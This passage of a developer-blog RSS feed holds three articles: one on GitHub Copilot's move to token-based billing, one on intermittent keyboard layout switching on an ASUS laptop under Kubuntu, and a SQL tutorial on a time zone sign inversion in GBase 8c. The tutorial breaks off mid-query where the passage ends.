      <dc:creator>Kadek Pradnyana</dc:creator>
      <pubDate>Thu, 30 Apr 2026 05:24:18 +0000</pubDate>
      <link>https://hmpljs.forem.com/pradnyana28/github-copilot-just-killed-flat-rate-ai-coding-heres-what-it-means-for-your-team-id3</link>
      <guid>https://hmpljs.forem.com/pradnyana28/github-copilot-just-killed-flat-rate-ai-coding-heres-what-it-means-for-your-team-id3</guid>
      <description>&lt;p&gt;On April 27, 2026, GitHub announced that &lt;strong&gt;all Copilot plans are moving to usage-based billing on June 1, 2026&lt;/strong&gt;. The flat "premium request" model is dead. Welcome to per-token pricing for AI coding assistants.&lt;/p&gt;

&lt;p&gt;If you're a solo developer, this might not change much. If you run an engineering team, you need to read this carefully — because your AI bill is about to become unpredictable in ways it wasn't before.&lt;/p&gt;

&lt;p&gt;Here's what's actually changing, why it's happening, and what you should do this month.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's Changing
&lt;/h2&gt;

&lt;p&gt;Today, Copilot uses &lt;strong&gt;Premium Request Units (PRUs)&lt;/strong&gt;. You get a monthly bucket of requests, and every chat or agent prompt counts as one — regardless of whether it's a one-line question or a 30-minute autonomous coding session.&lt;/p&gt;

&lt;p&gt;Starting June 1, 2026:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PRUs are replaced by GitHub AI Credits&lt;/strong&gt; (1 credit = $0.01 USD)&lt;/li&gt;
&lt;li&gt;Every interaction is billed by &lt;strong&gt;token consumption&lt;/strong&gt; — input + output + cached tokens&lt;/li&gt;
&lt;li&gt;Each model has its own per-token rate, matching published API rates&lt;/li&gt;
&lt;li&gt;Code completions and Next Edit suggestions remain free across all plans&lt;/li&gt;
&lt;li&gt;Plan base prices are unchanged: Pro $10/mo, Pro+ $39/mo, Business $19/seat, Enterprise $39/seat&lt;/li&gt;
&lt;li&gt;Each plan includes monthly AI Credits equal to its subscription price (Pro = $10 in credits, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The big shift: a quick question and a multi-hour agentic session no longer cost the same.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why GitHub Did This
&lt;/h2&gt;

&lt;p&gt;Read between the lines of the &lt;a href="https://github.blog/news-insights/company-news/github-copilot-is-moving-to-usage-based-billing/" rel="noopener noreferrer"&gt;official announcement&lt;/a&gt; and the picture is clear. Agentic coding broke the math.&lt;/p&gt;

&lt;p&gt;A single autonomous coding session — running across an entire repo, calling tools, iterating, retrying — can consume thousands of times more compute than a chat question. Under PRUs, both counted as "one request." A handful of power users can cost more than the plan price covers.&lt;/p&gt;

&lt;p&gt;GitHub said it directly in their April 21 update on individual plans: &lt;em&gt;"It's now common for a handful of requests to incur costs that exceed the plan price."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That's not sustainable. Token-based billing aligns price with cost. It's the same reason every API provider has always priced this way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who Wins, Who Loses
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Wins:&lt;/strong&gt; Developers who mostly use code completions and light chat. You'll likely see no real change. Your $10 Pro plan probably never came close to using $10 in tokens.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Loses:&lt;/strong&gt; Heavy agent users. If you're running long-trajectory agentic workflows — multi-step refactors, autonomous bug-fixing across files, parallel subagents — you'll feel this. The same workflows that gave you outsized value under PRUs are exactly what's getting expensive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Maybe:&lt;/strong&gt; Teams. It depends entirely on how your developers actually use Copilot. Some companies will save money. Others will hit budget caps mid-month for the first time ever.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Annual Plan Trap
&lt;/h2&gt;

&lt;p&gt;If you're on an annual Pro or Pro+ plan, GitHub is doing something clever and slightly hostile: you keep your existing PRU-based pricing until the plan expires — but &lt;strong&gt;model multipliers go up on June 1&lt;/strong&gt; for annual subscribers only.&lt;/p&gt;

&lt;p&gt;Translation: your existing annual plan gets quietly worse. You can either ride it out at degraded value, or convert to a monthly plan early and get prorated credit.&lt;/p&gt;

&lt;p&gt;If you're an annual subscriber, you should sit down before June 1 and decide which path actually saves you money. Don't ignore this.&lt;/p&gt;

&lt;h2&gt;
  
  
  What To Do This Month
&lt;/h2&gt;

&lt;p&gt;For individual developers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Check your current usage.&lt;/strong&gt; GitHub is launching a preview bill experience in early May. Look at your Billing Overview on github.com and see what your actual token consumption would have cost you the past few months.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit which models you use.&lt;/strong&gt; Different models have wildly different per-token rates. If you're defaulting to the most expensive premium model for tasks GPT-5 mini could handle, that habit is about to cost real money.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Decide on annual vs monthly.&lt;/strong&gt; If you're on annual, run the numbers before June 1.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For engineering teams:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Set up budgets.&lt;/strong&gt; Admin-level budget controls let you cap spend at the enterprise, cost center, or user level. Use them. Without caps, one developer running parallel agent workflows can blow through your monthly credits in a week.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pool credits across the org.&lt;/strong&gt; GitHub now allows pooled included usage instead of per-seat isolation. This is genuinely useful — your light users effectively subsidize your heavy users without anyone changing behavior.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Educate your team on model selection.&lt;/strong&gt; "Use the cheapest model that works for the task" is now a real engineering practice with a real budget impact.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Watch out for Copilot code review.&lt;/strong&gt; It now consumes both AI Credits &lt;em&gt;and&lt;/em&gt; GitHub Actions minutes. Two meters running at once.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The Bigger Picture
&lt;/h2&gt;

&lt;p&gt;This isn't just a Copilot story. Every AI coding tool is heading the same direction — Cursor, Cody, Continue, Claude Code. Token-based pricing is becoming the default because flat-rate doesn't survive contact with agentic workloads.&lt;/p&gt;

&lt;p&gt;The era of "$20/month gets you unlimited AI coding" is over. What's replacing it is more honest, but also more demanding: you need to know what your AI usage actually costs, and you need to manage it like any other infrastructure spend.&lt;/p&gt;

&lt;p&gt;For teams that have been treating AI coding as a free productivity boost, that mental model needs to change before June 1.&lt;/p&gt;

&lt;p&gt;The good news: the tools to manage this are getting better. Budget controls, usage dashboards, and pooled credits all help. The bad news: you actually have to use them.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://lenkastudio.com/blog/github-copilot-usage-based-billing-what-it-means" rel="noopener noreferrer"&gt;lenkastudio.com&lt;/a&gt;. We help teams ship modern web, mobile, and AI-powered products. If you're rethinking your AI dev tooling and budget for 2026, &lt;a href="https://lenkastudio.com/contact" rel="noopener noreferrer"&gt;let's talk&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>github</category>
      <category>githubcopilot</category>
    </item>
    <item>
      <title>Dear ASUS: Why Did You Turn My Right Ctrl into a Puzzle?</title>
      <dc:creator>Alex Rezvov</dc:creator>
      <pubDate>Thu, 30 Apr 2026 05:24:03 +0000</pubDate>
      <link>https://hmpljs.forem.com/arezvov/dear-asus-why-did-you-turn-my-right-ctrl-into-a-puzzle-1l6f</link>
      <guid>https://hmpljs.forem.com/arezvov/dear-asus-why-did-you-turn-my-right-ctrl-into-a-puzzle-1l6f</guid>
      <description>&lt;p&gt;On my &lt;strong&gt;ASUS ExpertBook B3404CVA&lt;/strong&gt; running &lt;strong&gt;Kubuntu 24.04&lt;/strong&gt; (KDE Plasma 5.27.11, X11, Kernel 6.8.0-52-generic), I set the usual keyboard layout switcher via:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/etc/default/keyboard:
&lt;span class="nv"&gt;XKBLAYOUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"us,ru"&lt;/span&gt;
&lt;span class="nv"&gt;XKBOPTIONS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"grp:menu_toggle"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Normally I set up layout switching through the standard graphical interface in Kubuntu — never had to think twice. But on this machine, it simply didn’t work. I had to fall back on this method. And even then, it works &lt;strong&gt;only intermittently&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  sometimes with the Fn key,&lt;/li&gt;
&lt;li&gt;  sometimes without,&lt;/li&gt;
&lt;li&gt;  and there's no clear logic when or why.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  🚨 Symptoms
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  Layout switching &lt;strong&gt;works... sometimes&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Sometimes requires holding Fn&lt;/strong&gt; to work&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Sometimes doesn’t work at all&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;After suspend/resume — it starts working again&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;After reboot — might stop again&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;  In short: totally inconsistent&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And here's the kicker:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;If I reboot&lt;/strong&gt;, I can switch layout with a single press of the &lt;code&gt;Right Ctrl&lt;/code&gt;/Menu key.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;If the system was suspended and resumed&lt;/strong&gt;, now I can &lt;strong&gt;only&lt;/strong&gt; switch layouts by holding &lt;strong&gt;Fn + that same key&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thanks, engineer from Masus.&lt;/p&gt;




&lt;h3&gt;
  
  
  🔍 My Investigation
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt; Dug through &lt;code&gt;xev&lt;/code&gt;, &lt;code&gt;evtest&lt;/code&gt;, &lt;code&gt;setxkbmap&lt;/code&gt;, &lt;code&gt;xmodmap&lt;/code&gt;, &lt;code&gt;libinput debug-events&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt; Discovered that this key:

&lt;ul&gt;
&lt;li&gt;  Without Fn: emits &lt;code&gt;Super_L&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;  With Fn: emits &lt;code&gt;ISO_Next_Group&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;  Sometimes: emits &lt;strong&gt;nothing&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt; Checked BIOS: no useful Fn key control (just &lt;code&gt;Fn Lock Option&lt;/code&gt;, irrelevant)&lt;/li&gt;
&lt;li&gt; Disabled &lt;code&gt;fcitx5&lt;/code&gt;, tried &lt;code&gt;.xprofile&lt;/code&gt;, systemd hooks, layout toggles&lt;/li&gt;
&lt;li&gt; Tested &lt;code&gt;grp:menu_toggle&lt;/code&gt;, &lt;code&gt;grp:rctrl_toggle&lt;/code&gt;, &lt;code&gt;grp:win_toggle&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt; Sometimes it worked, then stopped, then resumed after suspend&lt;/li&gt;
&lt;li&gt; Eventually wrote a &lt;strong&gt;systemd sleep hook&lt;/strong&gt; that reapplies layout settings post-suspend&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  ⏳ Time Spent
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;~10 hours&lt;/strong&gt; over 4 days. I’m a developer. I know what I'm doing. If I struggled this much — imagine a non-tech-savvy user.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  🙏 A Message to ASUS Engineers
&lt;/h2&gt;

&lt;p&gt;Dear ASUS engineers,&lt;/p&gt;

&lt;p&gt;Thanks for the light laptop, good build quality, and battery life. But please explain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Why did you replace &lt;code&gt;Right Ctrl&lt;/code&gt; with &lt;code&gt;Super_L&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;  Why does the key's behavior depend on Fn state?&lt;/li&gt;
&lt;li&gt;  Why is there &lt;strong&gt;no BIOS/UEFI or EC override&lt;/strong&gt;?&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;You spent your time, budget, and engineering effort to &lt;strong&gt;remove a standard key&lt;/strong&gt; and made it &lt;strong&gt;inconsistent&lt;/strong&gt;, &lt;strong&gt;undocumented&lt;/strong&gt;, and &lt;strong&gt;non-overridable&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Please, just &lt;strong&gt;let users decide what the key does&lt;/strong&gt; — especially when it's part of years of muscle memory.&lt;/p&gt;




&lt;h2&gt;
  
  
  📊 TL;DR
&lt;/h2&gt;

&lt;p&gt;I hacked around it. I use a &lt;code&gt;setxkbmap&lt;/code&gt; call from a systemd hook after suspend. It sort of works.&lt;/p&gt;

&lt;p&gt;But it’s not stable. It still changes behavior after suspend. Fn sometimes required, sometimes not.&lt;/p&gt;

&lt;p&gt;I didn’t fix it — I just learned to live with it. For now. I’ll be back to dig deeper into this absurd situation, but at the moment I simply ran out of time. The story isn’t over yet.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published: &lt;a href="https://blog.rezvov.com/dear-asus-why-did-you-turn-my-right-ctrl-into-a-puzzle" rel="noopener noreferrer"&gt;Dear ASUS: Why Did You Turn My Right Ctrl into a Puzzle? — Alex Rezvov's Blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>career</category>
    </item>
    <item>
      <title>Time Zone Pitfall When Migrating from MySQL to GBase 8c — and How to Fix It</title>
      <dc:creator>Michael</dc:creator>
      <pubDate>Thu, 30 Apr 2026 05:24:00 +0000</pubDate>
      <link>https://hmpljs.forem.com/michaelfv/time-zone-pitfall-when-migrating-from-mysql-to-gbase-8c-and-how-to-fix-it-he7</link>
      <guid>https://hmpljs.forem.com/michaelfv/time-zone-pitfall-when-migrating-from-mysql-to-gbase-8c-and-how-to-fix-it-he7</guid>
      <description>&lt;p&gt;When moving from MySQL to GBase 8c, the China-domestically developed database from GBASE, time zone configuration can surprise you. What works perfectly in MySQL may yield results off by &lt;strong&gt;16 hours&lt;/strong&gt; in GBase 8c — all because of a simple sign reversal.&lt;/p&gt;

&lt;p&gt;This article reproduces the issue, walks through the diagnosis, and gives you two clean solutions to keep your timestamps accurate in a gbase database environment.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;MySQL offers two common ways to set the time zone:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Offset notation&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;time_zone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'+08:00'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- Named time zone&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;time_zone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'Asia/Shanghai'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both work as expected.&lt;/p&gt;

&lt;p&gt;Applying the same approach in GBase 8c, however, produces unexpected behavior:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;swjtdb&lt;/span&gt;&lt;span class="o"&gt;=#&lt;/span&gt; &lt;span class="k"&gt;show&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
 &lt;span class="n"&gt;TimeZone&lt;/span&gt; 
&lt;span class="c1"&gt;----------&lt;/span&gt;
 &lt;span class="n"&gt;PRC&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;row&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;swjtdb&lt;/span&gt;&lt;span class="o"&gt;=#&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
       &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;        
&lt;span class="c1"&gt;---------------------&lt;/span&gt;
 &lt;span class="mi"&gt;2025&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;

&lt;span class="n"&gt;swjtdb&lt;/span&gt;&lt;span class="o"&gt;=#&lt;/span&gt; &lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'+08:00'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt;

&lt;span class="n"&gt;swjtdb&lt;/span&gt;&lt;span class="o"&gt;=#&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
       &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;        
&lt;span class="c1"&gt;---------------------&lt;/span&gt;
 &lt;span class="mi"&gt;2025&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;868943&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt;  &lt;span class="c1"&gt;-- 16 hours behind&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice the offset is shown as &lt;strong&gt;-08&lt;/strong&gt; instead of +08, resulting in a &lt;strong&gt;16-hour gap&lt;/strong&gt;. Switching to a named zone like &lt;code&gt;SET timezone = 'Asia/Shanghai'&lt;/code&gt; immediately corrects the display.&lt;/p&gt;

&lt;h2&gt;
  
  
  Diagnosis
&lt;/h2&gt;

&lt;p&gt;Using &lt;code&gt;AT TIME ZONE&lt;/code&gt; conversions reveals the root cause:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;WITH&lt;/span&gt; &lt;span class="n"&gt;test_times&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="s1"&gt;'2025-10-19 12:00:00'&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;timestamptz&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;test_ts&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; 
    &lt;span class="n"&gt;test_ts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;test_ts&lt;/span&gt; &lt;span class="k"&gt;AT&lt;/span&gt; &lt;span class="nb"&gt;TIME&lt;/span&gt; &lt;span class="k"&gt;ZONE&lt;/span&gt; &lt;span class="s1"&gt;'UTC'&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;as_utc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;test_ts&lt;/span&gt; &lt;span class="k"&gt;AT&lt;/span&gt; &lt;span class="nb"&gt;TIME&lt;/span&gt; &lt;span class="k"&gt;ZONE&lt;/span&gt; &lt;span class="s1"&gt;'+08:00'&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;as_beijing&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;test_ts&lt;/span&gt; &lt;span class="k"&gt;AT&lt;/span&gt; &lt;span class="nb"&gt;TIME&lt;/span&gt; &lt;span class="k"&gt;ZONE&lt;/span&gt; &lt;span class="s1"&gt;'-08:00'&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;as_negative&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;test_times&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;       test_ts         |       as_utc        |     as_beijing      |     as_negative     
------------------------+---------------------+---------------------+---------------------
 2025-10-19 12:00:00+08 | 2025-10-19 04:00:00 | 2025-10-18 20:00:00 | 2025-10-19 12:00:00 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;test_ts&lt;/code&gt; is noon Beijing time (+08)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;AT TIME ZONE '+08:00'&lt;/code&gt; returns &lt;strong&gt;8 PM the previous day&lt;/strong&gt;, acting like UTC-8&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;AT TIME ZONE '-08:00'&lt;/code&gt; returns the correct noon&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Confirming the sign flip:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; 
    &lt;span class="s1"&gt;'2025-10-19 12:00:00'&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;timestamptz&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;base_time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'2025-10-19 12:00:00'&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;timestamptz&lt;/span&gt; &lt;span class="k"&gt;AT&lt;/span&gt; &lt;span class="nb"&gt;TIME&lt;/span&gt; &lt;span class="k"&gt;ZONE&lt;/span&gt; &lt;span class="s1"&gt;'+08:00'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;plus_eight&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'2025-10-19 12:00:00'&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;timestamptz&lt;/span&gt; &lt;span class="k"&gt;AT&lt;/span&gt; &lt;span class="nb"&gt;TIME&lt;/span&gt; &lt;span class="k"&gt;ZONE&lt;/span&gt; &lt;span class="s1"&gt;'-08:00'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;minus_eight&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;      base_time        |     plus_eight      |     minus_eight     
------------------------+---------------------+---------------------
 2025-10-19 12:00:00+08 | 2025-10-18 20:00:00 | 2025-10-19 12:00:00 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key takeaway&lt;/strong&gt;: In GBase 8c, &lt;code&gt;+08:00&lt;/code&gt; is interpreted as &lt;strong&gt;UTC-8&lt;/strong&gt;, and &lt;code&gt;-08:00&lt;/code&gt; as &lt;strong&gt;UTC+8&lt;/strong&gt; — exactly the opposite of what many developers expect.&lt;/p&gt;

&lt;h2&gt;
  
  
  Solutions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Option 1: Simplified Numeric Syntax (Recommended)
&lt;/h3&gt;

&lt;p&gt;GBase 8c accepts a signless number, which bypasses the inversion entirely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'8'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    &lt;span class="c1"&gt;-- cleanest&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'08'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;-- two-digit form&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For fractional offsets like &lt;code&gt;+01:30&lt;/code&gt;, use a decimal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'1.5'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;-- equivalent to +01:30&lt;/span&gt;
&lt;span class="c1"&gt;-- or&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'-01:30'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;-- same effect but counter‑intuitive&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SHOW&lt;/span&gt; &lt;span class="n"&gt;TimeZone&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;-- returns 08:00:00&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;   &lt;span class="c1"&gt;-- shows correct UTC+8 time&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Option 2: Named Time Zones (Standard Practice)
&lt;/h3&gt;

&lt;p&gt;Named zones eliminate any ambiguity and are the safest choice across platforms:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'Asia/Shanghai'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'PRC'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- List available time zones&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;utc_offset&lt;/span&gt; 
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;pg_timezone_names&lt;/span&gt; 
